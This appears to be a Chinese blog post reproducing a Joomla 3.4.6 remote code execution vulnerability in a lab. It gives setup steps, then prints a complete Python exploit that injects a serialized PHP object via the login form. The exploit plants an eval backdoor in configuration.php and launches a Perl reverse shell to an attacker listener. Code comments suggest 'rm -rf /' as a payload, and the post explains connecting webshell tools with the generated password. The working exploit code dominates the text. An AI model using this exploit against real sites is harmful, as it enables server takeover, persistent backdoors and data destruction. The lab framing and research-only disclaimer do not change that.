Joomla 3.4.6远程代码执行漏洞原理分析和poc

Joomla 3.4.6远程代码执行漏洞原理分析和poc

免责声明：本文中提到的漏洞利用Poc和脚本仅供研究学习使用，请遵守《网络安全法》等相关法律法规。

事件背景

上周，意大利安全公司 Hacktive Security的研究员 Alessandro Groppo 公开了影响 Joomla 内容管理系统老旧版本 3.0.0 至 3.4.6 （在2012年9月末至2015年12月中旬发布）的0day 详情。该漏洞是一个 PHP 对象注入漏洞，可导致远程代码执行后果。它尚不存在 CVE 编号且易于利用，类似于 CVE-2015-8562。建议使用就版本的用户更新到安全版本。

在此次漏洞复现和原理分析过程中，学到很多东西，在这里要感谢PHITHON关于Joomla远程代码执行漏洞的总结，让我少走了很多弯路。

0x00 简介

1、Joomla是一套全球有名的CMS系统。

2、Joomla基于PHP语言加上MySQL数据库所开发出来的WEB软件系统，目前最新版本是3.9.15。

3、Joomla可以在多种不同的平台上部署并且运行。

后台管理：http://localhost:8081/Joomla/administrator/index.php

前台首页：http://localhost:8081/Joomla/

下载vulhub:

https://github.com/vulhub/vulhub/archive/master.zip 

 启动测试环境：进入CVE-2015然后拉去镜像，等待时间较长...

docker-compose up -d

启动后访问http://your-ip:8080/即可看到Joomla的安装界面，当前环境的数据库信息为：

  • 主机名：mysql:3306
  • 用户：root
  • 密码：root
  • 数据库名：joomla

填入上述信息，正常安装即可。over~

第二种环境搭建方法：，直接在win下用phpStudy搭建CMS吧：

下载phpstudy [5.4.45-php+Apache+Mysql]

把压缩包解压（最好改名joomla）放在WWW下，访问：http://127.0.0.1/joolma/

配置安装：一直下一步就行

注意：第3步最终确认哪里，应该选择 “不安装示范数据”，目前测试的是选择”博客风格的示范内容”不能成功复现

 

 

 

 删除安装目录，点击进入后台管理：

2.Exp复现

Exp地址:

https://cxsecurity.com/issue/WLB-2019100045

或者：

实验环境：

漏洞成因

  • 本次漏洞主要是由于对 session 处理不当，从而可以伪造 session 从而导致 session 反序列化

 

2.1 漏洞位置

http://x.x.x.x/configuration.php

　即：　http://192.168.56.143/joomla/configuration.php

影响范围：3.0.0-3.4.6

测试是否存在漏洞：

python Joomla_3.4.6-RCE.py -c -t http://192.168.56.143/joomla

 

 

 

 显示“Vulnerable”证明存在漏洞

C:\Users\tom\Desktop\joomla>python Joomla_3.4.6-RCE.py --help
usage: Joomla_3.4.6-RCE.py [-h] -t TARGET [-c] [-e] [-l LHOST] [-p LPORT]

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Joomla Target
  -c, --check           Check only
  -e, --exploit         Check and exploit
  -l LHOST, --lhost LHOST
                        Listener IP
  -p LPORT, --lport LPORT
                        Listener port

未执行一句话木马之前：

 执行exp：

C:\Users\tom\Desktop\joomla>python Joomla_3.4.6-RCE.py -t http://192.168.56.143/joomla/ -e -l 192.168.18.6 -p 8888
# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
#
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory 
# with an eval in order to be more suitable for all environments, but it is also more intrusive.
# If you don't like this way, you can replace the get_backdoor_pay() 
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
    print(colored("[*] " + str,"cyan"))

def print_ok(str):
    print(colored("[+] "+ str,"green"))

def print_error(str):
    print(colored("[-] "+ str,"red"))

def print_warning(str):
    print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
    token = ''
    resp = requests.get(url, cookies=cook, proxies = PROXS)
    html = BeautifulSoup(resp.text,'html.parser')
    # csrf token is the last input
    for v in html.find_all('input'):
        csrf = v
    csrf = csrf.get('name')
    return csrf


def get_error(url, cook):
    resp = requests.get(url, cookies = cook, proxies = PROXS)
    if 'Failed to decode session object' in resp.text:
        #print(resp.text)
        return False
    #print(resp.text)
    return True


def get_cook(url):
    resp = requests.get(url, proxies=PROXS)
    #print(resp.cookies)
    return resp.cookies


def gen_pay(function, command):
    # Generate the payload for call_user_func('FUNCTION','COMMAND')
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    #payload =  command + ' || $a=\'http://wtf\';'
    payload =  'http://l4m3rz.l337/;' + command
    # Following payload will append an eval() at the enabled of the configuration file
    #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def make_req(url , object_payload):
    # just make a req with object
    print_info('Getting Session Cookie ..')
    cook = get_cook(url)
    print_info('Getting CSRF Token ..')
    csrf = get_token( url, cook)

    user_payload = '\\0\\0\\0' * 9
    padding = 'AAA' # It will land at this padding
    working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
    clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

    inj_object = '";'
    inj_object += object_payload
    inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
    password_payload = padding + inj_object
    params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

    print_info('Sending request ..')
    resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
    return resp.text

def get_backdoor_pay():
    # This payload will backdoor the the configuration .PHP with an eval on POST request

    function = 'assert'
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    # payload =  command + ' || $a=\'http://wtf\';'
    # Following payload will append an eval() at the enabled of the configuration file
    payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def check(url):
    check_string = random_string(20)
    target_url = url + 'index.php/component/users'
    html = make_req(url, gen_pay('print_r',check_string))
    if check_string in html:
        return True
    else:
        return False

def ping_backdoor(url,param_name):
    res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
    if 'PWNED' in res.text:
        return True
    return False

def execute_backdoor(url, payload_code):
    # Execute PHP code from the backdoor
    res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
    print(res.text)

def exploit(url, lhost, lport):
    # Exploit the target
    # Default exploitation will append en eval function at the end of the configuration.pphp
    # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
    # e.g. get_payload('system','rm -rf /')

    # First check that the backdoor has not been already implanted
    target_url = url + 'index.php/component/users'

    make_req(target_url, get_backdoor_pay())
    if ping_backdoor(url, backdoor_param):
        print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
        print_info('Now it\'s time to reverse, trying with a system + perl')
        execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target',required=True,help='Joomla Target')
    parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
    parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
    parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
    parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
    args = vars(parser.parse_args())

    url = args['target']
    if(check(url)):
        print_ok('Vulnerable')
        if args['exploit']:
            exploit(url, args['lhost'], args['lport'])
        else:
            print_info('Use --exploit to exploit it')

    else:
        print_error('Seems NOT Vulnerable ;/')
exp:joomla_3.4.6.py

如图：

 生成了一句话木马的密码：ndoxdhpuiiopbzaaiidnsyfqsofzqrpapmpqswdvokqekvgevj

这样就可以用菜刀、蚁剑、冰蝎进行连接：

 菜刀用法：【空白右击】填地址和口令，脚本类型后点【添加】添加完后，会有一条数据，然后右键点击，选择文件管理，就OK了

执行之后的joomla配置文件configuration中多了：

 

 

 

参考：

Joomla 3.4.6 RCE 分析

Joomla3.4.6漏洞最强总结

Joomla 3.4.6-RCE漏洞复现

 

 

利用CVE-2015-8562（新的Joomla！RCE）

Joomla远程代码执行漏洞分析（总结）CVE-2015-8562

 原来得2015 github分析

 

 

PHP版本：

我们需要在这里记住的另一重要事情是PHP版本。如前所述，低于5.5.29、5.6.13和低于5.5的PHP版本可以进行利用。

我们可以使用curl查找PHP版本。运行以下命令并观察响应头。

curl –v –X HEAD http：// <ipaddress> / joomla /

上图显示了目标框中安装的PHP版本。好吧，由于PHP版本符合我们的要求，因此我们正在利用此工具。

 

 

posted @ 2020-03-05 18:52  香农Shannon  阅读(879)  评论(0)  编辑  收藏  举报